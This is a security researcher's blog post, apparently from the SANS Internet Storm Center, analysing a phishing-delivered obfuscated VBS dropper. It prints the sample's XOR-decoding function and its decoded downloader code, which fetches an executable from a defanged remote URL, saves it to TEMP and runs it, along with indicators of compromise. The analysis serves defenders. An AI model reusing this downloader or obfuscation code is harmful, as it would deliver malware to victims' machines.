Quick Malicious VBS Analysis

Published: 2019-10-18. Last Updated: 2019-10-18 06:25:53 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

Let’s have a look at a VBS sample found yesterday. It started as usual with a phishing email that contained a link to a malicious ZIP archive. This technique is more and more common to deliver the first stage via a URL because it reduces the risk to have the first file blocked by classic security controls. The link was:

hxxp://weddingcardexpress[.]com/ext/modules/payment/moneybookers/logos/docs/8209039094.zip

The downloaded file is saved as JVC_53668.zip (SHA256: 9bf040f912fce08fd5b05dcff9ee31d05ade531eb932c767a5a532cc2643ea61) has a VT score of 1/56[1].

The archive contains a VBS script called JVC_53668.vbs (SHA256:f894030285d5a577bf970692c2e7096137460802348ee71b5198497c2d603ce1) and unknown on VT at the redaction time of this diary. What looks strange in the size of the file: 3.8MB! The file is indeed heavily poluted with many very long comment lines. Once cleaned up, the size is reduced to 159KB. Having a big file is also interesting for an attacker because some security controls do not scan or process files above a certain size for performance reasons.

The code is also obfuscated via many mathematical expressions:

ddvA = Mid(otQh, 451 - 386 + 2 - 303 + 24 - 12 + 19 - 14 + 21 + 433 - 230, 281 + 212 - 325 + 4 + 444 - 10 - 153 - 19 - 482 - 158 - 466 + 11 + 12 - 433 + 1084)
jqCe = 471 - 23 + 245 - 274 - 285 - 2 + 391 + 21 + 25 - 16 - 15 + 4 - 434 + 13 + 578
isW = CInt(ddvA)
tztf = 162 + 19 - 277 - 3 + 22 - 16 + 235 - 7 + 5 - 2 - 7 + 438 + 11 - 24 - 445 + 527
uox = FQE and tztf
wMs = Asc(Mid(InP, isW, 216 - 437 - 21 + 427 + 20 - 226 - 122 - 21 - 315 - 15 - 119 + 333 + 281))
CBTl = 411 - 142 - 131 + 8 - 12 - 11 + 13 + 25 + 13 - 397 - 7 + 9 + 960
KWZM = Sqr(amYG)
ddvA = Mid(otQh, 327 + 165 + 11 - 376 - 486 + 14 + 152 + 438 - 475 - 466 - 22 + 494 - 2 - 112 - 24 - 310 + 678, 194 + 119 - 151 - 351 + 14 + 14 + 328 + 9 + 466 + 6 - 286 + 150 - 510)
Pts = 317 + 11 + 23 + 13 - 359 + 159 + 23 - 4 - 311 - 9 + 659

But, it’s not difficult to spot the most interesting part of the code. There is the following line is present close to the file end:

eXEcUTegLObAL kpYE

ExecuteGlobal[2] is used in VBS like IEX in PowerShell. The code passed as an argument will be executed in the context of the script. Let’s have a look at the 'kpYE' variable:

kpYE = UkX(zANa, PChk)

UkX() is the only function present in the script. Here is a beautified version:

function UkX(VSqz, kdH)
    On Error Resume Next
    MRgD = VSqz
    Pts = Xear * cTln
    qaux = LoKu - jqCe
    XqIc = DJlE * LoKu
    whhI = ""
    Xear = AYwV and qaux
    jqCe = Sgn(Pts)
    OaT = ""
    vDI = 480 + 319 + 4 + 19 - 285 + 327 - 25 + 109 + 453 + 11 - 22 + 2 - 306 - 478
    FBD = 279 + 260 + 202 + 270 + 399 - 348 - 173 + 20 + 14 - 922
    JNHe = 377 + 9 + 309 + 351 - 152 - 12 - 9 - 289 + 111
    Xear = 159 + 6 - 14 + 18 - 249 + 392 - 191 - 25 - 20 + 454 - 7 + 468 + 333 + 335 - 21 - 926
    for i=215 + 193 - 4 - 394 + 111 + 3 + 364 - 24 + 15 - 25 + 272 - 12 + 19 - 129 - 328 - 275 to len(MRgD)
        KWZM = 348 - 9 - 463 - 16 - 305 + 154 - 255 + 493 + 240 + 441 - 8 - 23 - 116 + 132 + 22 - 41
        gmJg = cTln + DJlE
        if ( asc(mid(MRgD, i, 481 - 10 + 154 + 103 - 469 - 19 - 433 - 13 + 207)) > 276 - 269 - 21 - 4 + 497 - 383 - 163 + 330 + 352 - 568 and asc(mid(MRgD, i, 417 - 3 - 445 + 498 + 4 + 20 + 215 + 489 + 7 + 14 - 1215)) < 130 + 15 + 144 - 4 + 10 + 109 - 364 - 380 + 398 ) then
            qaux = gmJg and XqIc
            AYwV = 410 - 115 - 273 - 129 + 499 - 3 + 150 + 2 - 32
            whhI = whhI + mid(MRgD, i, 302 - 223 + 112 - 372 + 25 - 345 - 11 - 202 + 715)
            JNHe = JNHe and tztf
            FBD = 452 + 8 - 21 - 23 - 156 - 24 + 10 - 375 + 130
            LoKu = 240 + 492 - 11 - 482 + 391 + 15 - 451 - 2 - 7 + 21 + 475
            AYwV = vDI / tztf
            FQE = EkB and tztf
        else
            AYwV = Log(EkB)
            Pts = Exp(CBTl)
            fEt = Exp(cTln)
            if FBD = 391 + 340 + 7 + 106 - 413 - 256 + 13 + 18 + 226 - 7 - 18 - 430 + 203 + 19 - 119 - 79 then
                fEt = 482 + 11 + 7 - 17 - 188 + 18 + 3 - 500 + 443 - 10 + 223 - 363 + 391 + 440 - 7 - 179 - 106
                LoKu = 160 - 147 - 335 - 167 - 21 + 21 - 6 + 2 - 342 + 1458
                FQE = gmJg + mpuU
                xba = CInt(whhI)
                UIh = xba xor kdH
                OaT = OaT + Chr(UIh)
                AYwV = 165 - 18 + 366 - 15 - 16 + 17 - 19 + 9 - 4 + 17 + 14 + 379 - 17 - 425 + 201
            end if
            vDI = 363 - 385 + 188 + 182 + 425 - 11 - 144 - 269 + 187 + 14 + 95
            LoKu = AYwV - Xear
            whhI = ""
            tztf = XqIc + gmJg
            HMTs = 240 - 11 + 304 + 382 + 299 + 195 - 10 + 395 + 12 + 20 + 11 - 2 - 186 - 215 + 373 - 151 - 940
            LoKu = Pts * KWZM
            FBD = 491 - 24 + 8 - 440 - 20 + 16 - 21 - 12 - 13 + 383 - 368
            FQE = CBTl / JNHe
            KWZM = EkB and mpuU
        end if
        CBTl = EkB * tztf
    next
    UkX = OaT
    uox = mpuU or DJlE
    qaux = 334 - 25 + 15 + 372 + 388 - 25 + 10 - 17 - 101 - 353 + 248 + 469 - 11 - 733
    jqCe = 355 + 8 - 2 - 12 + 12 - 24 - 20 + 116 + 245
end function

The variable 'zANa' is a very long string:

zANa = "113X113Cv{fR100.    Q49Z$52?107Mo$|53)CgT113    PTx112!%aD{b21Cc<rRu49Bd}UD27aQ30{Wz!36-v122}zaq125v6,(c*7Z:nyFV115zGb:M114/*BE53xLm126MI!D122od22d25K-    *k34&?&W110XE122^uf112v+!l45lN;32yZc&S121;51<YmW-14P11o&CQE.110q:&:e10)u<SXV107QdP 121/112^Op}<Z17qXhP<62nuI37v~u$L113@Mv113rb[50)xWKZr8vqfYjy102e29o(T^V{119D113)bbQ}113< n@v 49X=Q59_!|121rh K122MD 121XK13d^V}47Ny*61tEcb49*124q!:120[(Dodk1.%XFH:96y,L~Rg15<l{24,h 121p112mE38p24Y^)_wj1VHw38?22n!ii 121 127=oV]SP65Z121;ViE125(50$)R27C+?60}Y7ogC45s14|=121w@122t125}    b36TKlZ24S^e*P45v    V^121=120l123k;twd101EM16d121f     B|    120Qr=fNI120s:#cX36;:    41~j65T!$Oh33([121Mt120d*rOQ123d27)hlf^0#*53f[%$s43p44zo*108hJM121Jh125    :x}[!46]/_$123pp[P~126~Iqxn51 .R!g113+126&K*-E39S]d  
...
..."   

As a security analyst, when I have to dive into malicious code, my goal is to understand as fast as possible if the code is malicious (most of the time, it is) but also what are the next actions and how to extract useful information to share with other teams to protect the organization (ex: sharing IOC’s)

I don’t have to spend time to understand how the function UkX() works. Just by having a look at the arguments, we can guess that it just decodes a string (arg1) with a key (arg2). Let’s execute the script in a sandbox but replace the ExecuteGlobal() function with WScript.Echo() to print the decoded content:

Here is the code for better readability:

on error resume next
arr=split(KPH,"___")
set a=WScript.CreateObject(arr(0))
set b=WScript.CreateObject(arr(1))
f=a.ExpandEnvironmentStrings(arr(2))&arr(3)
set c=a.CreateShortcut(f)
c.TargetPath=arr(4)
c.Save
if b.FileExists(f)=false Then
    e=a.ExpandEnvironmentStrings(arr(2))&arr(5)
    Call u
    sub u
        set d=createobject(arr(6))
        set w=createobject(arr(7))
        d.Open arr(8),arr(9),False
        d.setRequestHeader arr(10),arr(11)
        d.Send
        with w
            .type=1
            .open
            .write d.responseBody
            .savetofile e,2
        end with
    end sub
    WScript.Sleep 60000
    a.Exec(e)
end if

This code uses an array (arr) that is created via a call to split() at the beginning. Let’s apply the same technique and re-execute the script with a "Wscript.echo KPH”:

The decoded & split array is:

WScript.Shell
Scripting.FileSystemObject
%TEMP%
\x.url
an
\VideoBoost.exe
MSXML2.ServerXMLHTTP.6.0
Adodb.Stream
GET
hxxp://baytk-ksa[.]com/devenv/vendor/laravelcollective/html/src/qrz/asgdyasgfyfdd.png?bg=spx24
User-Agent
lex

We understand now that the second stage is downloaded from the above URL and dumped on disk as “VideoBoost.exe”. The PE file (SHA256:c91c4c5b3452147ae2dcd20c1fa33efe2c1f393443915b88cdcbd67909c46062) received a score of 7/70 on VT[3].

[1] https://www.virustotal.com/gui/file/9bf040f912fce08fd5b05dcff9ee31d05ade531eb932c767a5a532cc2643ea61/detection
[2] https://ss64.com/vb/execute.html
[3] https://www.virustotal.com/gui/file/c91c4c5b3452147ae2dcd20c1fa33efe2c1f393443915b88cdcbd67909c46062/detection

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 comment(s)
ISC Stormcast For Friday, October 18th 2019 https://isc.sans.edu/podcastdetail.html?id=6714

Comments


Diary Archives